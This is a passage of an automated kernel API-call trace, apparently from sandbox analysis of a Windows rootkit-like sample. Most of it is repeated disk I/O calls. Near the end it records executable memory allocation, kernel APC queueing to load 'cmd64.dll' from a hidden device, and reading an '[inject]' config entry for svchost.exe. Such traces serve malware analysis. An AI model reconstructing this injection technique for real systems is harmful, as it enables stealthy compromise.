Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.295] IdePortDispatch () returned 0x103 [0085.295] KeWaitForMutexObject () returned 0x0 [0085.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.295] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.295] IdePortDispatch () returned 0x103 [0085.295] KeWaitForMutexObject () returned 0x0 [0085.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.296] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.296] IdePortDispatch () returned 0x103 [0085.296] KeWaitForMutexObject () returned 0x0 [0085.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.296] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.296] IdePortDispatch () returned 0x103 [0085.296] KeWaitForMutexObject () returned 0x0 [0085.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.296] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.296] IdePortDispatch () returned 0x103 [0085.296] KeWaitForMutexObject () returned 0x0 [0085.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.297] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.297] IdePortDispatch () returned 0x103 [0085.297] KeWaitForMutexObject () returned 0x0 [0085.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.297] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.297] IdePortDispatch () returned 0x103 [0085.297] KeWaitForMutexObject () returned 0x0 [0085.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.297] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.297] IdePortDispatch () returned 0x103 [0085.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.297] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.297] IdePortDispatch () returned 0x103 [0085.298] KeWaitForMutexObject () returned 0x0 [0085.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.298] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.298] IdePortDispatch () returned 0x103 [0085.298] KeWaitForMutexObject () returned 0x0 [0085.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.298] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.298] IdePortDispatch () returned 0x103 [0085.298] KeWaitForMutexObject () returned 0x0 [0085.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.298] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.298] IdePortDispatch () returned 0x103 [0085.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.299] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.299] IdePortDispatch () returned 0x103 [0085.299] KeWaitForMutexObject () returned 0x0 [0085.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.299] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.299] IdePortDispatch () returned 0x103 [0085.299] KeWaitForMutexObject () returned 0x0 [0085.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.299] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.299] IdePortDispatch () returned 0x103 [0085.299] KeWaitForMutexObject () returned 0x0 [0085.299] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.299] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.299] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.299] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.300] IdePortDispatch () returned 0x103 [0085.300] KeWaitForMutexObject () returned 0x0 [0085.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.300] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.300] IdePortDispatch () returned 0x103 [0085.300] KeWaitForMutexObject () returned 0x0 [0085.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.300] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.300] IdePortDispatch () returned 0x103 [0085.300] KeWaitForMutexObject () returned 0x0 [0085.300] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.300] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.300] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.300] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.300] IdePortDispatch () returned 0x103 [0085.300] KeWaitForMutexObject () returned 0x0 [0085.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.301] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.301] IdePortDispatch () returned 0x103 [0085.301] KeWaitForMutexObject () returned 0x0 [0085.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.301] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.301] IdePortDispatch () returned 0x103 [0085.301] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.301] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.301] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.301] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.301] IdePortDispatch () returned 0x103 [0085.302] KeWaitForMutexObject () returned 0x0 [0085.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.302] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.302] IdePortDispatch () returned 0x103 [0085.302] KeWaitForMutexObject () returned 0x0 [0085.302] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.302] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.302] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.302] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.302] IdePortDispatch () returned 0x103 [0085.302] KeWaitForMutexObject () returned 0x0 [0085.303] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.303] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.303] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.303] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0085.303] IdePortDispatch () returned 0x103 [0085.303] KeWaitForMutexObject () returned 0x0 [0085.303] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.303] KeLeaveCriticalRegion () [0085.303] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.303] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000448, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0085.303] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0085.303] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0085.303] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff80000448, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x50000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0085.303] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0085.303] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80036d0440 [0085.303] KeInitializeApc (Apc=0xfffffa80036d0440, Thread=0xfffffa8003794690, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0085.303] KeInsertQueueApc (Apc=0xfffffa80036d0440, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0085.303] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0085.304] ZwClose (Handle=0x14) returned 0x0 [0085.304] ZwClose (Handle=0xffffffff8000044c) returned 0x0 [0085.304] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0085.304] KeEnterCriticalRegion () [0085.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.304] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0085.304] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa800378e1d0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0085.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.304] KeLeaveCriticalRegion () [0085.304] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.304] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0085.304] PsGetProcessImageFileName () returned 0xfffffa800378fe10 [0085.304] _snprintf (in: _Dest=0xfffffa800378e758, _Count=0x103, _Format="%s (x64)" | out: _Dest="svchost.exe (x64)") returned 17 [0085.304] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0085.304] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff8000044c, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0085.304] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.304] KeEnterCriticalRegion () [0085.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.304] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0085.304] IdePortDispatch () returned 0x103 [0085.304] KeWaitForMutexObject () returned 0x0 [0085.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0085.304] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0085.304] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0085.304] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0085.304] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036cecd0 [0085.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.304] KeLeaveCriticalRegion () [0085.304] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.304] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0085.305] NtLockFile (in: FileHandle=0xffffffff8000044c, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0085.305] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.305] KeEnterCriticalRegion () [0085.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.305] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0085.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.305] KeLeaveCriticalRegion () [0085.305] ZwQueryInformationFile (in: FileHandle=0xffffffff8000044c, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0085.305] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.305] KeEnterCriticalRegion () [0085.305] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003655930 [0085.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0085.305] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0085.305] IdePortDispatch () returned 0x103 [0085.307] KeWaitForMutexObject () returned 0x0 [0085.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0085.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.307] KeLeaveCriticalRegion () [0085.307] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0085.307] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0012a9d50 [0085.307] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0085.307] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0085.307] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="svchost.exe (x64)=") returned 18 [0085.307] _strlwr (in: _Str="svchost.exe (x64)=" | out: _Str="svchost.exe (x64)=") returned="svchost.exe (x64)=" [0085.307] ZwReadFile (in: FileHandle=0xffffffff8000044c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0012a9d50, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0012a9d50*) returned 0x0 [0085.307] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0085.307] KeEnterCriticalRegion () [0085.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.307] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0bd50 [0085.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003648530 [0085.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0085.307] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0085.307] IdePortDispatch () returned 0x103 [0085.307] KeWaitForMutexObject () returned 0x0 [0085.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0085.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003790cd0 [0085.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003790cd0 | out: Irp=0xfffffa8003790cd0) returned 0xfffffa8003648530 [0085.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0085.308] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0085.308] IdePortDispatch () returned 0x103 [0085.308] KeWaitForMutexObject () returned 0x0 [0085.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0085.308] KeLeaveCriticalRegion () [0085.308] IofCompleteRequest 